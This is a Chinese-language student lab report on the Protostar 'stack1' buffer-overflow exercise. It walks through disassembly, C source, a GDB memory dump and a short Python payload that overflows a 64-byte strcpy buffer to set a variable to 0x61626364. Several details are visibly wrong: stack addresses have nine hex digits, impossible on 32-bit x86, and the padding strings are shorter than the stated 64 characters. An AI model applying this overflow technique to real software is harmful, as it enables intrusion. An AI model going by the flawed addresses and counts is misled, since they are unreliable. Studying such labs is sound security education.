

# CS3312 Lab Report Stack1

Osamu Takenaka 520030990026

## 源码分析

x86汇编代码(由objdump得到):

```
08048464 <main>:
08048464: 55                push    %ebp
08048465: 89 e5             mov     %esp,%ebp
08048467: 83 e4 f0          and     $0xfffffffff0,%esp
0804846a: 83 ec 60          sub     $0x60,%esp
0804846d: 83 7d 08 01       cmpl    $0x1,0x8(%ebp)
08048471: 75 14             jne     8048487 <main+0x23>
08048473: c7 44 24 04 a0 85 04 movl    $0x80485a0,0x4(%esp)
0804847a: 08
0804847b: c7 04 24 01 00 00 00 movl    $0x1,(%esp)
08048482: e8 01 ff ff ff    call    8048388 <errx@plt>
08048487: c7 44 24 5c 00 00 00 movl    $0x0,0x5c(%esp)
0804848e: 00
0804848f: 8b 45 0c          mov     0xc(%ebp),%eax
08048492: 83 c0 04          add     $0x4,%eax
08048495: 8b 00             mov     (%eax),%eax
08048497: 89 44 24 04       mov     %eax,0x4(%esp)
0804849b: 8d 44 24 1c       lea     0x1c(%esp),%eax
0804849f: 89 04 24          mov     %eax,(%esp)
080484a2: e8 c1 fe ff ff    call    8048368 <strcpy@plt>
080484a7: 8b 44 24 5c       mov     0x5c(%esp),%eax
080484ab: 3d 64 63 62 61    cmp     $0x61626364,%eax
080484b0: 75 0e             jne     80484c0 <main+0x5c>
080484b2: c7 04 24 bc 85 04 08 movl    $0x80485bc,(%esp)
080484b9: e8 da fe ff ff    call    8048398 <puts@plt>
080484be: eb 15             jmp     80484d5 <main+0x71>
080484c0: 8b 54 24 5c       mov     0x5c(%esp),%edx
080484c4: b8 f3 85 04 08    mov     $0x80485f3,%eax
080484c9: 89 54 24 04       mov     %edx,0x4(%esp)
080484cd: 89 04 24          mov     %eax,(%esp)
080484d0: e8 a3 fe ff ff    call    8048378 <printf@plt>
080484d5: c9               leave
080484d6: c3               ret
```

C语言源代码:

```
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
    volatile int modified;
    char buffer[64];

    if(argc == 1) {
        errx(1, "please specify an argument\n");
    }

    modified = 0;
    strcpy(buffer, argv[1]);

    if(modified == 0x61626364) {
        printf("you have correctly got the variable to the right value\n");
    } else {
        printf("Try again, you got 0x%08x\n", modified);
    }
}
```

和实验stack0类似, 这段C程序同样是一个典型的缓冲区溢出漏洞, 和实验stack0不同的地方在于:

其使用 strcpy 函数将命令行参数 ( argv[1] ) 复制到缓冲区 buffer 中。strcpy 函数不会检查目标缓冲区的大小, 因此如果输入的数据超过了64字节, 就会发生缓冲区溢出。

通过构造的输入, 攻击者可以覆盖 modified 变量的值。

程序检查 modified 是否被设置为特定值 ( 0x61626364 ), 如果是, 就会打印成功的信息, 这表明攻击成功。

同样地, 我们接下来, 我们需要知道 buffer 的地址和 modified 的地址, 然后通过输入超长字符串来覆盖 modified 的值。

## GDB调试

通过 modified = 0 这句C代码可以很容易找到对应的汇编代码:

```
8048487: c7 44 24 5c 00 00 00 movl    $0x0,0x5c(%esp)
```

不难看出, modified变量的地址是0x5c加上寄存器esp的值。

接下来我们需要通过gdb，来查看esp的值，以及buffer的地址。

由于该程序需要一个参数，所以我们需要在gdb中传入参数，这里我们传入64个 'a'，

添加函数main的断点，然后运行程序，查看esp的值：

```
root@fd107c402cc9:/opt/protostar/bin# gdb ./stack1
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./stack1...done.
(gdb) set args aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
(gdb) b main
Breakpoint 1 at 0x804846d: file stack1/stack1.c, line 11.
(gdb) r
Starting program: /opt/protostar/bin/stack1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Breakpoint 1, main (argc=2, argv=0xffff8f5c4) at stack1/stack1.c:11
11  stack1/stack1.c: No such file or directory.
(gdb) print %esp
$1 = (void *) 0xffff8f4c0
(gdb)
```

可以看到 %esp 的值是 0xffff8f4c0，所以 modified 的地址是 0xffff8f4c0 + 0x5c = 0xffff8f51c

然后我们打印 0xffff8f4c0 开始的内存区域，找到buffer的地址区域

```
(gdb) x/128xb 0xffff8f4c0
0xffff8f4c0: 0xdc 0xf4 0xf8 0xff 0x8c 0x08 0xf9 0xff
0xffff8f4c8: 0x00 0x00 0x00 0x00 0x11 0x53 0xc5 0xc5
0xffff8f4d0: 0x07 0x00 0x00 0x00 0x72 0x08 0xf9 0xff
0xffff8f4d8: 0x79 0x16 0xd4 0xf7 0x61 0x61 0x61 0x61
0xffff8f4e0: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffff8f4e8: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffff8f4f0: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffff8f4f8: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffff8f500: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffff8f508: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffff8f510: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61
0xffff8f518: 0x61 0x61 0x61 0x61 0x00 0x00 0x00 0x00
0xffff8f520: 0x00 0x90 0xee 0xf7 0x00 0x90 0xee 0xf7
0xffff8f528: 0x00 0x00 0x00 0x00 0xa1 0x9f 0xd2 0xf7
0xffff8f530: 0x02 0x00 0x00 0x00 0xc4 0xf5 0xf8 0xff
0xffff8f538: 0xd0 0xf5 0xf8 0xff 0x54 0xf5 0xf8 0xff
(gdb)
```

可以很明显的看到大片的'a'即 0x61，即为buffer的地址区域，为 0xffff8f4dc 至 0xffff8f51b 我们定位到 modified 的地址 0xffff8f51c，可以发现它就紧挨着buffer的地址区域结束的地方。

于是我们只要在构造参数时，在64个字符后，再加一些字符，就可以覆盖 modified 的值。

我们的目标是让 modified 的值变为 0x61626364，即

该系统为小端，所以 modified 在内存中应该是 0x64 0x63 0x62 0x61（地址从左至右依次增大），所以溢出部分构造的字符即 dcba

攻击脚本内容

为了显示更清楚，我们前64个字符用 'x' 所以我们构造的参数为：

```
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdcba

script_stack1.py:

input = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdcba'
print input
在终端中运行：

./stack1 `python script_stack1.py`
```

结果（非GDB环境）

```
root@protostar:/opt/protostar/bin# ./stack1 `python script_stack1.py`
you have correctly got the variable to the right value
root@protostar:/opt/protostar/bin#
```

攻击成功